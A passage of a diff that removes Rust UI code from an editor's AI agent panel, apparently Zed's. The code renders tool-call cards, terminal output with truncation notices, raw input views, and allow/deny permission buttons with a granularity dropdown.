-                       format!("Output exceeded terminal max lines and was \
-                            truncated, the model received the first {}.", format_file_size(output.content.len() as u64, true))
-                    } else {
-                        format!(
-                            "Output is {} long, and to avoid unexpected token usage, \
-                                only {} was sent back to the agent.",
-                            format_file_size(output.original_content_len as u64, true),
-                             format_file_size(output.content.len() as u64, true)
-                        )
-                    }
-                } else {
-                    "Output was truncated".to_string()
-                };
-
-                header.child(
-                    h_flex()
-                        .id(("terminal-tool-truncated-label", terminal.entity_id()))
-                        .gap_1()
-                        .child(
-                            Icon::new(IconName::Info)
-                                .size(IconSize::XSmall)
-                                .color(Color::Ignored),
-                        )
-                        .child(
-                            Label::new("Truncated")
-                                .color(Color::Muted)
-                                .size(LabelSize::XSmall),
-                        )
-                        .tooltip(Tooltip::text(tooltip)),
-                )
-            })
-            .when(time_elapsed > Duration::from_secs(10), |header| {
-                header.child(
-                    Label::new(format!("({})", duration_alt_display(time_elapsed)))
-                        .buffer_font(cx)
-                        .color(Color::Muted)
-                        .size(LabelSize::XSmall),
-                )
-            })
-            .when(tool_failed || command_failed, |header| {
-                header.child(
-                    div()
-                        .id(("terminal-tool-error-code-indicator", terminal.entity_id()))
-                        .child(
-                            Icon::new(IconName::Close)
-                                .size(IconSize::Small)
-                                .color(Color::Error),
-                        )
-                        .when_some(output.and_then(|o| o.exit_status), |this, status| {
-                            this.tooltip(Tooltip::text(format!(
-                                "Exited with code {}",
-                                status.code().unwrap_or(-1),
-                            )))
-                        }),
-                )
-            })
-            .child(
-                Disclosure::new(
-                    SharedString::from(format!(
-                        "terminal-tool-disclosure-{}",
-                        terminal.entity_id()
-                    )),
-                    is_expanded,
-                )
-                .opened_icon(IconName::ChevronUp)
-                .closed_icon(IconName::ChevronDown)
-                .visible_on_hover(&header_group)
-                .on_click(cx.listener({
-                    let id = tool_call.id.clone();
-                    move |this, _event, _window, cx| {
-                        if is_expanded {
-                            this.expanded_tool_calls.remove(&id);
-                        } else {
-                            this.expanded_tool_calls.insert(id.clone());
-                        }
-                        cx.notify();
-                    }
-                })),
-            );
-
-        let terminal_view = self
-            .entry_view_state
-            .read(cx)
-            .entry(entry_ix)
-            .and_then(|entry| entry.terminal(terminal));
-
-        v_flex()
-            .my_1p5()
-            .mx_5()
-            .border_1()
-            .when(tool_failed || command_failed, |card| card.border_dashed())
-            .border_color(border_color)
-            .rounded_md()
-            .overflow_hidden()
-            .child(
-                v_flex()
-                    .group(&header_group)
-                    .bg(header_bg)
-                    .text_xs()
-                    .child(header)
-                    .child(command_element),
-            )
-            .when(is_expanded && terminal_view.is_some(), |this| {
-                this.child(
-                    div()
-                        .pt_2()
-                        .border_t_1()
-                        .when(tool_failed || command_failed, |card| card.border_dashed())
-                        .border_color(border_color)
-                        .bg(cx.theme().colors().editor_background)
-                        .rounded_b_md()
-                        .text_ui_sm(cx)
-                        .h_full()
-                        .children(terminal_view.map(|terminal_view| {
-                            let element = if terminal_view
-                                .read(cx)
-                                .content_mode(window, cx)
-                                .is_scrollable()
-                            {
-                                div().h_72().child(terminal_view).into_any_element()
-                            } else {
-                                terminal_view.into_any_element()
-                            };
-
-                            div()
-                                .on_action(cx.listener(|_this, _: &NewTerminal, window, cx| {
-                                    window.dispatch_action(NewThread.boxed_clone(), cx);
-                                    cx.stop_propagation();
-                                }))
-                                .child(element)
-                                .into_any_element()
-                        })),
-                )
-            })
-            .when_some(confirmation_options, |this, options| {
-                let is_first = self.is_first_tool_call(active_session_id, &tool_call.id, cx);
-                this.child(self.render_permission_buttons(
-                    self.id.clone(),
-                    is_first,
-                    options,
-                    entry_ix,
-                    tool_call.id.clone(),
-                    focus_handle,
-                    cx,
-                ))
-            })
-            .into_any()
-    }
-
-    fn is_first_tool_call(
-        &self,
-        active_session_id: &acp::SessionId,
-        tool_call_id: &acp::ToolCallId,
-        cx: &App,
-    ) -> bool {
-        self.conversation
-            .read(cx)
-            .pending_tool_call(active_session_id, cx)
-            .map_or(false, |(pending_session_id, pending_tool_call_id, _)| {
-                self.id == pending_session_id && tool_call_id == &pending_tool_call_id
-            })
-    }
-
-    fn render_any_tool_call(
-        &self,
-        active_session_id: &acp::SessionId,
-        entry_ix: usize,
-        tool_call: &ToolCall,
-        focus_handle: &FocusHandle,
-        window: &Window,
-        cx: &Context<Self>,
-    ) -> Div {
-        let has_terminals = tool_call.terminals().next().is_some();
-
-        div().w_full().map(|this| {
-            if tool_call.is_subagent() {
-                this.child(self.render_subagent_tool_call(
-                    active_session_id,
-                    entry_ix,
-                    tool_call,
-                    tool_call.subagent_session_id.clone(),
-                    focus_handle,
-                    window,
-                    cx,
-                ))
-            } else if has_terminals {
-                this.children(tool_call.terminals().map(|terminal| {
-                    self.render_terminal_tool_call(
-                        active_session_id,
-                        entry_ix,
-                        terminal,
-                        tool_call,
-                        focus_handle,
-                        window,
-                        cx,
-                    )
-                }))
-            } else {
-                this.child(self.render_tool_call(
-                    active_session_id,
-                    entry_ix,
-                    tool_call,
-                    focus_handle,
-                    window,
-                    cx,
-                ))
-            }
-        })
-    }
-
-    fn render_tool_call(
-        &self,
-        active_session_id: &acp::SessionId,
-        entry_ix: usize,
-        tool_call: &ToolCall,
-        focus_handle: &FocusHandle,
-        window: &Window,
-        cx: &Context<Self>,
-    ) -> Div {
-        let has_location = tool_call.locations.len() == 1;
-        let card_header_id = SharedString::from("inner-tool-call-header");
-
-        let failed_or_canceled = match &tool_call.status {
-            ToolCallStatus::Rejected | ToolCallStatus::Canceled | ToolCallStatus::Failed => true,
-            _ => false,
-        };
-
-        let needs_confirmation = matches!(
-            tool_call.status,
-            ToolCallStatus::WaitingForConfirmation { .. }
-        );
-        let is_terminal_tool = matches!(tool_call.kind, acp::ToolKind::Execute);
-
-        let is_edit =
-            matches!(tool_call.kind, acp::ToolKind::Edit) || tool_call.diffs().next().is_some();
-
-        let is_cancelled_edit = is_edit && matches!(tool_call.status, ToolCallStatus::Canceled);
-        let has_revealed_diff = tool_call.diffs().next().is_some_and(|diff| {
-            self.entry_view_state
-                .read(cx)
-                .entry(entry_ix)
-                .and_then(|entry| entry.editor_for_diff(diff))
-                .is_some()
-                && diff.read(cx).has_revealed_range(cx)
-        });
-
-        let use_card_layout = needs_confirmation || is_edit || is_terminal_tool;
-
-        let has_image_content = tool_call.content.iter().any(|c| c.image().is_some());
-        let is_collapsible = !tool_call.content.is_empty() && !needs_confirmation;
-        let mut is_open = self.expanded_tool_calls.contains(&tool_call.id);
-
-        is_open |= needs_confirmation;
-
-        let should_show_raw_input = !is_terminal_tool && !is_edit && !has_image_content;
-
-        let input_output_header = |label: SharedString| {
-            Label::new(label)
-                .size(LabelSize::XSmall)
-                .color(Color::Muted)
-                .buffer_font(cx)
-        };
-
-        let tool_output_display = if is_open {
-            match &tool_call.status {
-                ToolCallStatus::WaitingForConfirmation { options, .. } => v_flex()
-                    .w_full()
-                    .children(
-                        tool_call
-                            .content
-                            .iter()
-                            .enumerate()
-                            .map(|(content_ix, content)| {
-                                div()
-                                    .child(self.render_tool_call_content(
-                                        active_session_id,
-                                        entry_ix,
-                                        content,
-                                        content_ix,
-                                        tool_call,
-                                        use_card_layout,
-                                        has_image_content,
-                                        failed_or_canceled,
-                                        focus_handle,
-                                        window,
-                                        cx,
-                                    ))
-                                    .into_any_element()
-                            }),
-                    )
-                    .when(should_show_raw_input, |this| {
-                        let is_raw_input_expanded =
-                            self.expanded_tool_call_raw_inputs.contains(&tool_call.id);
-
-                        let input_header = if is_raw_input_expanded {
-                            "Raw Input:"
-                        } else {
-                            "View Raw Input"
-                        };
-
-                        this.child(
-                            v_flex()
-                                .p_2()
-                                .gap_1()
-                                .border_t_1()
-                                .border_color(self.tool_card_border_color(cx))
-                                .child(
-                                    h_flex()
-                                        .id("disclosure_container")
-                                        .pl_0p5()
-                                        .gap_1()
-                                        .justify_between()
-                                        .rounded_xs()
-                                        .hover(|s| s.bg(cx.theme().colors().element_hover))
-                                        .child(input_output_header(input_header.into()))
-                                        .child(
-                                            Disclosure::new(
-                                                ("raw-input-disclosure", entry_ix),
-                                                is_raw_input_expanded,
-                                            )
-                                            .opened_icon(IconName::ChevronUp)
-                                            .closed_icon(IconName::ChevronDown),
-                                        )
-                                        .on_click(cx.listener({
-                                            let id = tool_call.id.clone();
-
-                                            move |this: &mut Self, _, _, cx| {
-                                                if this.expanded_tool_call_raw_inputs.contains(&id)
-                                                {
-                                                    this.expanded_tool_call_raw_inputs.remove(&id);
-                                                } else {
-                                                    this.expanded_tool_call_raw_inputs
-                                                        .insert(id.clone());
-                                                }
-                                                cx.notify();
-                                            }
-                                        })),
-                                )
-                                .when(is_raw_input_expanded, |this| {
-                                    this.children(tool_call.raw_input_markdown.clone().map(
-                                        |input| {
-                                            self.render_markdown(
-                                                input,
-                                                MarkdownStyle::themed(
-                                                    MarkdownFont::Agent,
-                                                    window,
-                                                    cx,
-                                                ),
-                                            )
-                                        },
-                                    ))
-                                }),
-                        )
-                    })
-                    .child(self.render_permission_buttons(
-                        self.id.clone(),
-                        self.is_first_tool_call(active_session_id, &tool_call.id, cx),
-                        options,
-                        entry_ix,
-                        tool_call.id.clone(),
-                        focus_handle,
-                        cx,
-                    ))
-                    .into_any(),
-                ToolCallStatus::Pending | ToolCallStatus::InProgress
-                    if is_edit
-                        && tool_call.content.is_empty()
-                        && self.as_native_connection(cx).is_some() =>
-                {
-                    self.render_diff_loading(cx)
-                }
-                ToolCallStatus::Pending
-                | ToolCallStatus::InProgress
-                | ToolCallStatus::Completed
-                | ToolCallStatus::Failed
-                | ToolCallStatus::Canceled => v_flex()
-                    .when(should_show_raw_input, |this| {
-                        this.mt_1p5().w_full().child(
-                            v_flex()
-                                .ml(rems(0.4))
-                                .px_3p5()
-                                .pb_1()
-                                .gap_1()
-                                .border_l_1()
-                                .border_color(self.tool_card_border_color(cx))
-                                .child(input_output_header("Raw Input:".into()))
-                                .children(tool_call.raw_input_markdown.clone().map(|input| {
-                                    div().id(("tool-call-raw-input-markdown", entry_ix)).child(
-                                        self.render_markdown(
-                                            input,
-                                            MarkdownStyle::themed(MarkdownFont::Agent, window, cx),
-                                        ),
-                                    )
-                                }))
-                                .child(input_output_header("Output:".into())),
-                        )
-                    })
-                    .children(
-                        tool_call
-                            .content
-                            .iter()
-                            .enumerate()
-                            .map(|(content_ix, content)| {
-                                div().id(("tool-call-output", entry_ix)).child(
-                                    self.render_tool_call_content(
-                                        active_session_id,
-                                        entry_ix,
-                                        content,
-                                        content_ix,
-                                        tool_call,
-                                        use_card_layout,
-                                        has_image_content,
-                                        failed_or_canceled,
-                                        focus_handle,
-                                        window,
-                                        cx,
-                                    ),
-                                )
-                            }),
-                    )
-                    .into_any(),
-                ToolCallStatus::Rejected => Empty.into_any(),
-            }
-            .into()
-        } else {
-            None
-        };
-
-        v_flex()
-            .map(|this| {
-                if use_card_layout {
-                    this.my_1p5()
-                        .rounded_md()
-                        .border_1()
-                        .when(failed_or_canceled, |this| this.border_dashed())
-                        .border_color(self.tool_card_border_color(cx))
-                        .bg(cx.theme().colors().editor_background)
-                        .overflow_hidden()
-                } else {
-                    this.my_1()
-                }
-            })
-            .map(|this| {
-                if has_location && !use_card_layout {
-                    this.ml_4()
-                } else {
-                    this.ml_5()
-                }
-            })
-            .mr_5()
-            .map(|this| {
-                if is_terminal_tool {
-                    let label_source = tool_call.label.read(cx).source();
-                    this.child(self.render_collapsible_command(true, label_source, &tool_call.id, cx))
-                } else {
-                    this.child(
-                        h_flex()
-                            .group(&card_header_id)
-                            .relative()
-                            .w_full()
-                            .gap_1()
-                            .justify_between()
-                            .when(use_card_layout, |this| {
-                                this.p_0p5()
-                                    .rounded_t(rems_from_px(5.))
-                                    .bg(self.tool_card_header_bg(cx))
-                            })
-                            .child(self.render_tool_call_label(
-                                entry_ix,
-                                tool_call,
-                                is_edit,
-                                is_cancelled_edit,
-                                has_revealed_diff,
-                                use_card_layout,
-                                window,
-                                cx,
-                            ))
-                            .when(is_collapsible || failed_or_canceled, |this| {
-                                let diff_for_discard =
-                                    if has_revealed_diff && is_cancelled_edit && cx.has_flag::<AgentV2FeatureFlag>() {
-                                        tool_call.diffs().next().cloned()
-                                    } else {
-                                        None
-                                    };
-                                this.child(
-                                    h_flex()
-                                        .px_1()
-                                        .when_some(diff_for_discard.clone(), |this, _| this.pr_0p5())
-                                        .gap_1()
-                                        .when(is_collapsible, |this| {
-                                            this.child(
-                                            Disclosure::new(("expand-output", entry_ix), is_open)
-                                                .opened_icon(IconName::ChevronUp)
-                                                .closed_icon(IconName::ChevronDown)
-                                                .visible_on_hover(&card_header_id)
-                                                .on_click(cx.listener({
-                                                    let id = tool_call.id.clone();
-                                                    move |this: &mut Self, _, _, cx: &mut Context<Self>| {
-                                                                if is_open {
-                                                                    this
-                                                                        .expanded_tool_calls.remove(&id);
-                                                                } else {
-                                                                    this.expanded_tool_calls.insert(id.clone());
-                                                                }
-                                                            cx.notify();
-                                                    }
-                                                })),
-                                        )
-                                        })
-                                        .when(failed_or_canceled, |this| {
-                                            if is_cancelled_edit && !has_revealed_diff {
-                                                this.child(
-                                                    div()
-                                                        .id(entry_ix)
-                                                        .tooltip(Tooltip::text(
-                                                            "Interrupted Edit",
-                                                        ))
-                                                        .child(
-                                                            Icon::new(IconName::XCircle)
-                                                                .color(Color::Muted)
-                                                                .size(IconSize::Small),
-                                                        ),
-                                                )
-                                            } else if is_cancelled_edit {
-                                                this
-                                            } else {
-                                                this.child(
-                                                    Icon::new(IconName::Close)
-                                                        .color(Color::Error)
-                                                        .size(IconSize::Small),
-                                                )
-                                            }
-                                        })
-                                        .when_some(diff_for_discard, |this, diff| {
-                                            let tool_call_id = tool_call.id.clone();
-                                            let is_discarded = self.discarded_partial_edits.contains(&tool_call_id);
-                                            this.when(!is_discarded, |this| {
-                                                this.child(
-                                                    IconButton::new(
-                                                        ("discard-partial-edit", entry_ix),
-                                                        IconName::Undo,
-                                                    )
-                                                    .icon_size(IconSize::Small)
-                                                    .tooltip(move |_, cx| Tooltip::with_meta(
-                                                        "Discard Interrupted Edit",
-                                                        None,
-                                                        "You can discard this interrupted partial edit and restore the original file content.",
-                                                        cx
-                                                    ))
-                                                    .on_click(cx.listener({
-                                                        let tool_call_id = tool_call_id.clone();
-                                                        move |this, _, _window, cx| {
-                                                            let diff_data = diff.read(cx);
-                                                            let base_text = diff_data.base_text().clone();
-                                                            let buffer = diff_data.buffer().clone();
-                                                            buffer.update(cx, |buffer, cx| {
-                                                                buffer.set_text(base_text.as_ref(), cx);
-                                                            });
-                                                            this.discarded_partial_edits.insert(tool_call_id.clone());
-                                                            cx.notify();
-                                                        }
-                                                    })),
-                                                )
-                                            })
-                                        })
-
-                                )
-                            }),
-                    )
-                }
-            })
-            .children(tool_output_display)
-    }
-
-    fn render_permission_buttons(
-        &self,
-        session_id: acp::SessionId,
-        is_first: bool,
-        options: &PermissionOptions,
-        entry_ix: usize,
-        tool_call_id: acp::ToolCallId,
-        focus_handle: &FocusHandle,
-        cx: &Context<Self>,
-    ) -> Div {
-        match options {
-            PermissionOptions::Flat(options) => self.render_permission_buttons_flat(
-                session_id,
-                is_first,
-                options,
-                entry_ix,
-                tool_call_id,
-                focus_handle,
-                cx,
-            ),
-            PermissionOptions::Dropdown(options) => self.render_permission_buttons_dropdown(
-                session_id,
-                is_first,
-                options,
-                entry_ix,
-                tool_call_id,
-                focus_handle,
-                cx,
-            ),
-        }
-    }
-
-    fn render_permission_buttons_dropdown(
-        &self,
-        session_id: acp::SessionId,
-        is_first: bool,
-        choices: &[PermissionOptionChoice],
-        entry_ix: usize,
-        tool_call_id: acp::ToolCallId,
-        focus_handle: &FocusHandle,
-        cx: &Context<Self>,
-    ) -> Div {
-        // Get the selected granularity index, defaulting to the last option ("Only this time")
-        let selected_index = self
-            .selected_permission_granularity
-            .get(&tool_call_id)
-            .copied()
-            .unwrap_or_else(|| choices.len().saturating_sub(1));
-
-        let selected_choice = choices.get(selected_index).or(choices.last());
-
-        let dropdown_label: SharedString = selected_choice
-            .map(|choice| choice.label())
-            .unwrap_or_else(|| "Only this time".into());
-
-        let (allow_option_id, allow_option_kind, deny_option_id, deny_option_kind) =
-            if let Some(choice) = selected_choice {
-                (
-                    choice.allow.option_id.clone(),
-                    choice.allow.kind,
-                    choice.deny.option_id.clone(),
-                    choice.deny.kind,
-                )
-            } else {
-                (
-                    acp::PermissionOptionId::new("allow"),
-                    acp::PermissionOptionKind::AllowOnce,
-                    acp::PermissionOptionId::new("deny"),
-                    acp::PermissionOptionKind::RejectOnce,
-                )
-            };
-
-        h_flex()
-            .w_full()
-            .p_1()
-            .gap_2()
-            .justify_between()
-            .border_t_1()
-            .border_color(self.tool_card_border_color(cx))
-            .child(
-                h_flex()
-                    .gap_0p5()
-                    .child(
-                        Button::new(("allow-btn", entry_ix), "Allow")
-                            .icon(IconName::Check)
-                            .icon_color(Color::Success)
-                            .icon_position(IconPosition::Start)
-                            .icon_size(IconSize::XSmall)
-                            .label_size(LabelSize::Small)
-                            .when(is_first, |this| {
-                                this.key_binding(
-                                    KeyBinding::for_action_in(
-                                        &AllowOnce as &dyn Action,
-                                        focus_handle,
-                                        cx,
-                                    )
-                                    .map(|kb| kb.size(rems_from_px(10.))),
-                                )
-                            })
-                            .on_click(cx.listener({
-                                let session_id = session_id.clone();
-                                let tool_call_id = tool_call_id.clone();
-                                let option_id = allow_option_id;
-                                let option_kind = allow_option_kind;
-                                move |this, _, window, cx| {
-                                    this.authorize_tool_call(
-                                        session_id.clone(),
-                                        tool_call_id.clone(),
-                                        option_id.clone(),
-                                        option_kind,
-                                        window,
-                                        cx,
-                                    );
-                                }
-                            })),
-                    )
-                    .child(
-                        Button::new(("deny-btn", entry_ix), "Deny")
-                            .icon(IconName::Close)
-                            .icon_color(Color::Error)
-                            .icon_position(IconPosition::Start)
-                            .icon_size(IconSize::XSmall)
-                            .label_size(LabelSize::Small)
-                            .when(is_first, |this| {
-                                this.key_binding(
-                                    KeyBinding::for_action_in(
-                                        &RejectOnce as &dyn Action,
-                                        focus_handle,
-                                        cx,
-                                    )
-                                    .map(|kb| kb.size(rems_from_px(10.))),
-                                )
-                            })
-                            .on_click(cx.listener({
-                                let tool_call_id = tool_call_id.clone();
-                                let option_id = deny_option_id;
-                                let option_kind = deny_option_kind;
-                                move |this, _, window, cx| {
-                                    this.authorize_tool_call(
-                                        session_id.clone(),
-                                        tool_call_id.clone(),
-                                        option_id.clone(),
-                                        option_kind,
-                                        window,
-                                        cx,
-                                    );
-                                }
-                            })),
-                    ),
-            )
-            .child(self.render_permission_granularity_dropdown(
-                choices,
-                dropdown_label,
-                entry_ix,
-                tool_call_id,
-                selected_index,
-                is_first,
-                cx,
-            ))
-    }
-
-    fn render_permission_granularity_dropdown(
-        &self,
-        choices: &[PermissionOptionChoice],
-        current_label: SharedString,
-        entry_ix: usize,
-        tool_call_id: acp::ToolCallId,
-        selected_index: usize,
-        is_first: bool,
-        cx: &Context<Self>,
-    ) -> AnyElement {
-        let menu_options: Vec<(usize, SharedString)> = choices
-            .iter()
-            .enumerate()
-            .map(|(i, choice)| (i, choice.label()))
-            .collect();
-
-        let permission_dropdown_handle = self.permission_dropdown_handle.clone();
-
-        PopoverMenu::new(("permission-granularity", entry_ix))
-            .with_handle(permission_dropdown_handle)
-            .trigger(
-                Button::new(("granularity-trigger", entry_ix), current_label)
-                    .icon(IconName::ChevronDown)
-                    .icon_size(IconSize::XSmall)
-                    .icon_color(Color::Muted)
-                    .label_size(LabelSize::Small)
-                    .when(is_first, |this| {
-                        this.key_binding(
-                            KeyBinding::for_action_in(
-                                &crate::OpenPermissionDropdown as &dyn Action,
-                                &self.focus_handle(cx),
-                                cx,
-                            )
-                            .map(|kb| kb.size(rems_from_px(10.))),
-                        )
-                    }),
-            )
-            .menu(move |window, cx| {
-                let tool_call_id = tool_call_id.clone();
-                let options = menu_options.clone();
-
-                Some(ContextMenu::build(window, cx, move |mut menu, _, _| {
-                    for (index, display_name) in options.iter() {
-                        let display_name = display_name.clone();
-                        let index = *index;
-                        let tool_call_id_for_entry = tool_call_id.clone();
-                        let is_selected = index == selected_index;
-
-                        menu = menu.toggleable_entry(
-                            display_name,
-                            is_selected,
-                            IconPosition::End,
-                            None,
-                            move |window, cx| {
-                                window.dispatch_action(
-                                    SelectPermissionGranularity {
-                                        tool_call_id: tool_call_id_for_entry.0.to_string(),
-                                        index,
-                                    }
-                                    .boxed_clone(),
-                                    cx,
-                                );
-                            },
-                        );
-                    }
-
-                    menu
-                }))
-            })
-            .into_any_element()
-    }
-
-    fn render_permission_buttons_flat(
-        &self,
-        session_id: acp::SessionId,
-        is_first: bool,
-        options: &[acp::PermissionOption],
-        entry_ix: usize,
-        tool_call_id: acp::ToolCallId,
-        focus_handle: &FocusHandle,
-        cx: &Context<Self>,
-    ) -> Div {
-        let mut seen_kinds: ArrayVec<acp::PermissionOptionKind, 3> = ArrayVec::new();
-
-        div()
-            .p_1()
-            .border_t_1()
-            .border_color(self.tool_card_border_color(cx))
-            .w_full()
-            .v_flex()
-            .gap_0p5()
-            .children(options.iter().map(move |option| {
-                let option_id = SharedString::from(option.option_id.0.clone());
-                Button::new((option_id, entry_ix), option.name.clone())
-                    .map(|this| {
-                        let (this, action) = match option.kind {
-                            acp::PermissionOptionKind::AllowOnce => (
-                                this.icon(IconName::Check).icon_color(Color::Success),
-                                Some(&AllowOnce as &dyn Action),
-                            ),
-                            acp::PermissionOptionKind::AllowAlways => (
-                                this.icon(IconName::CheckDouble).icon_color(Color::Success),
-                                Some(&AllowAlways as &dyn Action),
-                            ),
-                            acp::PermissionOptionKind::RejectOnce => (
-                                this.icon(IconName::Close).icon_color(Color::Error),
-                                Some(&RejectOnce as &dyn Action),
-                            ),
-                            acp::PermissionOptionKind::RejectAlways | _ => {
-                                (this.icon(IconName::Close).icon_color(Color::Error), None)
-                            }
-                        };
-
-                        let Some(action) = action else {
-                            return this;
-                        };
-
-                        if !is_first || seen_kinds.contains(&option.kind) {
-                            return this;
-                        }
-
-                        seen_kinds.push(option.kind);
-
-                        this.key_binding(
-                            KeyBinding::for_action_in(action, focus_handle, cx)
-                                .map(|kb| kb.size(rems_from_px(10.))),
-                        )
-                    })
-                    .icon_position(IconPosition::Start)
-                    .icon_size(IconSize::XSmall)
-                    .label_size(LabelSize::Small)
-                    .on_click(cx.listener({
-                        let session_id = session_id.clone();
-                        let tool_call_id = tool_call_id.clone();
-                        let option_id = option.option_id.clone();
-                        let option_kind = option.kind;
-                        move |this, _, window, cx| {
-                            this.authorize_tool_call(
-                                session_id.clone(),
-                                tool_call_id.clone(),
-                                option_id.clone(),
-                                option_kind,
-                                window,
-                                cx,
-                            );
-                        }
-                    }))
-            }))
-    }
-
-    fn render_diff_loading(&self, cx: &Context<Self>) -> AnyElement {
-        let bar = |n: u64, width_class: &str| {
-            let bg_color = cx.theme().colors().element_active;
-            let base = h_flex().h_1().rounded_full();
-
-            let modified = match width_class {
-                "w_4_5" => base.w_3_4(),
-                "w_1_4" => base.w_1_4(),
-                "w_2_4" => base.w_2_4(),
-                "w_3_5" => base.w_3_5(),
-                "w_2_5" => base.w_2_5(),
-                _ => base.w_1_2(),
-            };
-
-            modified.with_animation(
-                ElementId::Integer(n),
-                Animation::new(Duration::from_secs(2)).repeat(),
-                move |tab, delta| {
-                    let delta = (delta - 0.15 * n as f32) / 0.7;
-                    let delta = 1.0 - (0.5 - delta).abs() * 2.;
-                    let delta = ease_in_out(delta.clamp(0., 1.));
-                    let delta = 0.1 + 0.9 * delta;
-
-                    tab.bg(bg_color.opacity(delta))
-                },
-            )
-        };
-
-        v_flex()
-            .p_3()
-            .gap_1()
-            .rounded_b_md()
-            .bg(cx.theme().colors().editor_background)
-            .child(bar(0, "w_4_5"))
-            .child(bar(1, "w_1_4"))
-            .child(bar(2, "w_2_4"))
-            .child(bar(3, "w_3_5"))
-            .child(bar(4, "w_2_5"))
-            .into_any_element()
-    }
-
-    fn render_tool_call_label(
-        &self,
-        entry_ix: usize,
-        tool_call: &ToolCall,
-        is_edit: bool,
-        has_failed: bool,
-        has_revealed_diff: bool,
-        use_card_layout: bool,
-        window: &Window,
-        cx: &Context<Self>,
-    ) -> Div {
-        let has_location = tool_call.locations.len() == 1;
-        let is_file = tool_call.kind == acp::ToolKind::Edit && has_location;
-        let is_subagent_tool_call = tool_call.is_subagent();
-
-        let file_icon = if has_location {
-            FileIcons::get_icon(&tool_call.locations[0].path, cx)
-                .map(Icon::from_path)
-                .unwrap_or(Icon::new(IconName::ToolPencil))
-        } else {
-            Icon::new(IconName::ToolPencil)
-        };
-
-        let tool_icon = if is_file && has_failed && has_revealed_diff {
-            div()
-                .id(entry_ix)
-                .tooltip(Tooltip::text("Interrupted Edit"))
-                .child(DecoratedIcon::new(
-                    file_icon,
-                    Some(
-                        IconDecoration::new(
-                            IconDecorationKind::Triangle,
-                            self.tool_card_header_bg(cx),
-                            cx,
-                        )
-                        .color(cx.theme().status().warning)
-                        .position(gpui::Point {
-                            x: px(-2.),
-                            y: px(-2.),
-                        }),
-                    ),
-                ))
-                .into_any_element()
-        } else if is_file {
-            div().child(file_icon).into_any_element()
-        } else if is_subagent_tool_call {
-            Icon::new(self.agent_icon)
-                .size(IconSize::Small)
-                .color(Color::Muted)
-                .into_any_element()
-        } else {
-            Icon::new(match tool_call.kind {
-                acp::ToolKind::Read => IconName::ToolSearch,
-                acp::ToolKind::Edit => IconName::ToolPencil,
-                acp::ToolKind::Delete => IconName::ToolDeleteFile,
-                acp::ToolKind::Move => IconName::ArrowRightLeft,
-                acp::ToolKind::Search => IconName::ToolSearch,
-                acp::ToolKind::Execute => IconName::ToolTerminal,
-                acp::ToolKind::Think => IconName::ToolThink,
-                acp::ToolKind::Fetch => IconName::ToolWeb,
-                acp::ToolKind::SwitchMode => IconName::ArrowRightLeft,
-                acp::ToolKind::Other | _ => IconName::ToolHammer,
-            })
-            .size(IconSize::Small)
-            .color(Color::Muted)
-            .into_any_element()
-        };
-
-        let gradient_overlay = {
-            div()
-                .absolute()
-                .top_0()
-                .right_0()
-                .w_12()
-                .h_full()
-                .map(|this| {
-                    if use_card_layout {
-                        this.bg(linear_gradient(
-                            90.,
-                            linear_color_stop(self.tool_card_header_bg(cx), 1.),
-                            linear_color_stop(self.tool_card_header_bg(cx).opacity(0.2), 0.),
-                        ))
-                    } else {
-                        this.bg(linear_gradient(
-                            90.,
-                            linear_color_stop(cx.theme().colors().panel_background, 1.),
-                            linear_color_stop(
-                                cx.theme().colors().panel_background.opacity(0.2),
-                                0.,
-                            ),
-                        ))
-                    }
-                })
-        };
-
-        h_flex()
-            .relative()
-            .w_full()
-            .h(window.line_height() - px(2.))
-            .text_size(self.tool_name_font_size())
-            .gap_1p5()
-            .when(has_location || use_card_layout, |this| this.px_1())
-            .when(has_location, |this| {
-                this.cursor(CursorStyle::PointingHand)
-                    .rounded(rems_from_px(3.)) // Concentric border radius
-                    .hover(|s| s.bg(cx.theme().colors().element_hover.opacity(0.5)))
-            })
-            .overflow_hidden()
-            .child(tool_icon)
-            .child(if has_location {
-                h_flex()
-                    .id(("open-tool-call-location", entry_ix))
-                    .w_full()
-                    .map(|this| {
-                        if use_card_layout {
-                            this.text_color(cx.theme().colors().text)
-                        } else {
-                            this.text_color(cx.theme().colors().text_muted)
-                        }
-                    })
-                    .child(
-                        self.render_markdown(
-                            tool_call.label.clone(),
-                            MarkdownStyle {
-                                prevent_mouse_interaction: true,
-                                ..MarkdownStyle::themed(MarkdownFont::Agent, window, cx)
-                                    .with_muted_text(cx)
-                            },
-                        ),
-                    )
-                    .tooltip(Tooltip::text("Go to File"))
-                    .on_click(cx.listener(move |this, _, window, cx| {
-                        this.open_tool_call_location(entry_ix, 0, window, cx);
-                    }))
-                    .into_any_element()
-            } else {
-                h_flex()
-                    .w_full()
-                    .child(self.render_markdown(
-                        tool_call.label.clone(),
-                        MarkdownStyle::themed(MarkdownFont::Agent, window, cx).with_muted_text(cx),
-                    ))
-                    .into_any()
-            })
-            .when(!is_edit, |this| this.child(gradient_overlay))
-    }
-
-    fn open_tool_call_location(
-        &self,
-        entry_ix: usize,
-        location_ix: usize,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) -> Option<()> {
-        let (tool_call_location, agent_location) = self
-            .thread
-            .read(cx)
-            .entries()
-            .get(entry_ix)?
-            .location(location_ix)?;
-
-        let project_path = self
-            .project
-            .upgrade()?
-            .read(cx)
-            .find_project_path(&tool_call_location.path, cx)?;
-
-        let open_task = self
-            .workspace
-            .update(cx, |workspace, cx| {
-                workspace.open_path(project_path, None, true, window, cx)
-            })
-            .log_err()?;
-        window
-            .spawn(cx, async move |cx| {
-                let item = open_task.await?;
-
-                let Some(active_editor) = item.downcast::<Editor>() else {
-                    return anyhow::Ok(());
-                };
-
-                active_editor.update_in(cx, |editor, window, cx| {
-                    let singleton = editor
-                        .buffer()
-                        .read(cx)
-                        .read(cx)
-                        .as_singleton()
-                        .map(|(a, b, _)| (a, b));
-                    if let Some((excerpt_id, buffer_id)) = singleton
-                        && let Some(agent_buffer) = agent_location.buffer.upgrade()
-                        && agent_buffer.read(cx).remote_id() == buffer_id
-                    {
-                        let anchor = editor::Anchor::in_buffer(excerpt_id, agent_location.position);
-                        editor.change_selections(Default::default(), window, cx, |selections| {
-                            selections.select_anchor_ranges([anchor..anchor]);
-                        })
-                    } else {
-                        let row = tool_call_location.line.unwrap_or_default();
-                        editor.change_selections(Default::default(), window, cx, |selections| {
-                            selections.select_ranges([Point::new(row, 0)..Point::new(row, 0)]);
-                        })
-                    }
-                })?;
-
-                anyhow::Ok(())
-            })
-            .detach_and_log_err(cx);
-
-        None
-    }
-
-    fn render_tool_call_content(
-        &self,
